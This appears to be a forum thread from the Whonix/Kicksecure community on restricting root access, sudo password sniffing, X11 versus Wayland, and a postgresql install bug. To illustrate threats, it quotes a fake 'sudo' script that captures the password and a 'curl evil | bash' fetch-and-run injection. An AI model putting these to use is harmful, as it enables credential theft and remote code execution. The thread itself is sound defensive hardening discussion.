Restrict root access

1 Like
1 Like

@onion_knight in Whonix Desktop Installer with Calamares - field report - #109 by onion_knight

Anything useful we can use here?

1 Like

No, it’s just configuring settings for some programs to not leave as many files left behind and to allow the user to login without a password.

I don’t see how the polkit thing would help. Any major system-wide changes would require root.


Bug found that might be causes by this.

Due to this user support request E: Unable to correct problems, you have held broken packages. I found an issue.

sudo apt-get install postgresql postgresql-client

/var/lib/dpkg/info/postgresql-common.postinst: 59: /var/lib/dpkg/info/postgresql-common.postinst: su: Operation not permitted

Probably caused by the following code snippet by /var/lib/dpkg/info/postgresql-common.postinst.

    # ensure home directory ownership
    mkdir -p /var/lib/postgresql
    su -s /bin/sh postgres -c "test -O /var/lib/postgresql &&
            test -G /var/lib/postgresql" || \
        chown postgres:postgres /var/lib/postgresql

E: Unable to correct problems, you have held broken packages. does not fail because of this The postinst does not exit non-zero because it is happening in a pipe and it’s not bash with set -o pipefail.

Might also be caused by apt seccomp (since the postinst runs as root so su should be permitted). Need to try to reproduce on Debian without security-misc package with and without apt seccomp.


Sorry to bring up an old point, but Xorg is a red herring.

user@host:~$ cat ~/bin/sudo 
read -sp "[pseudo] password for user: " lol

Even if you log in from virtual console and run
user@host:~$ /usr/bin/sudo
how do you know you are talking to bash? If you don’t trust user you don’t trust user.

~/bin/sudo isn’t part of $PATH by default so it won’t be executed by just running sudo.

Also, the chosen method was to login as the “admin” user, not the “user” user and as nothing except certain administrative activities would be run as the “admin” user, it’s unlikely there would be any malicious binary in ~/bin.

The login shell doesn’t use PATH to select what shell to use, it uses the explicit file path and the default shell is /bin/bash. See inside /etc/passwd.

You can find what you’re running anyway by running realpath $0.

If for whatever reason things like ~/bin/ would be a problem, you can just trim down $PATH to only contain the required directories or you can create a script that runs which command and checks if it’s the correct file path.

Xorg is definitely not a red herring.

As per Debian default it kinda is: as soon as folder ~/bin exists and new shell opened (or after reboot?) it will be in PATH by default. Tested. I am using it and never changed PATH.


X has its problems but root access hardening has a point.

I will update Strong Linux User Account Isolation

1 Like

Done. See:

1 Like

Weird. Even after a reboot, ~/bin isn’t in PATH for me.

1 Like

Maybe at least one executable needs to be residing there.

1 Like

An executable is in there but it still isn’t in PATH.

1 Like

That was just an example. It still sources ~/.bashrc which could do whatever it wants. Or user might “debug” you. Or read/write /dev/tty$x. After that there is no reason to trust anything on that tty without SAK.

Yes I agree but there’s no mention of that in this thread.
The chosen method in this thread seems to be disable login as root, and force sudo instead. So now people login as user and run sudo instead of logging in as a separate user (root/admin).
It’s discussed here
Safely Use Root Commands
as an Advanced option, and in the context of X.

X is an issue if a program not running as user can access it and sniff events. (Such a program could still try to inject “curl evil | bash” into a terminal though.)
So yes, a virtual console couldn’t hurt but it’s not a complete solution.

Edit: I just wanted to point out that the focus on X may give people the impression it’s okay to sudo from another console, which is what the non-advanced option is now. Done pointing now.

Parsing this thread can be difficult. Therefore my goal is to summarize it all on this wiki page:

Did you read Strong Linux User Account Isolation?

Anything missing there?

Yes, and the rationale of this is explained here: Strong Linux User Account Isolation

This is a different issue.
This forum thread “restrict root access” can be considered done. It does everything as described on page Strong Linux User Account Isolation.

~/.bashrc and other problematic files and folders might be covered in future by something like Dev/VirusForget - Kicksecure or GitHub - tasket/Qubes-VM-hardening: Fend off malware at Qubes VM startup.

But even then, Safely Use Root Commands remains valid. A user user used for the majority of daily tasks such as browsing the internet cannot be at the same time be an ideal user to run applications with root rights using sudo. That is because one user user is compromised, the sudo password can be sniffed. That is why boot modes without sudo/root access are being planned:

.bashrc can be made unwritable if you want.

What do you mean? You mean with ptrace? Whonix uses YAMA now so they have to be root use ptrace.

I don’t see how this can be an actual attack vector.

1 Like

Ok profile can be taken out.
Ok ptrace and process_vm_readv are out.

TIOCSTI is out but once “user” is logged into tty1, “user” owns it and can emulate a shell after SIGSTOPing the real one.
I think we can agree Xorg sniffing is only a symptom of not trusting your own account. That is all I mean. But yes, it’s a big one.

Edit: I see, I did find in page, not find in javascript, so it didn’t show up. Sorry.

Right, the issue is isolation of processes by the same user, and Wayland removes the X-factor. But any malware must remain sandboxed to have secure password entry. Or does Wayland have some sort of sudo built in so it doesn’t have to be run by “user”?

wayland will sort the need to login using a virtual console.

User can switch to another user account admin using wayland. Can use a graphical session and don’t need to use a different virtual console.
Hopefully. This can be researched when wayland XFCE is done.
I would hope wayland comes with a secure implementation of secure attention key, user account switching and user user not being able to sniff user admin.

1 Like

Might have broken pkexec.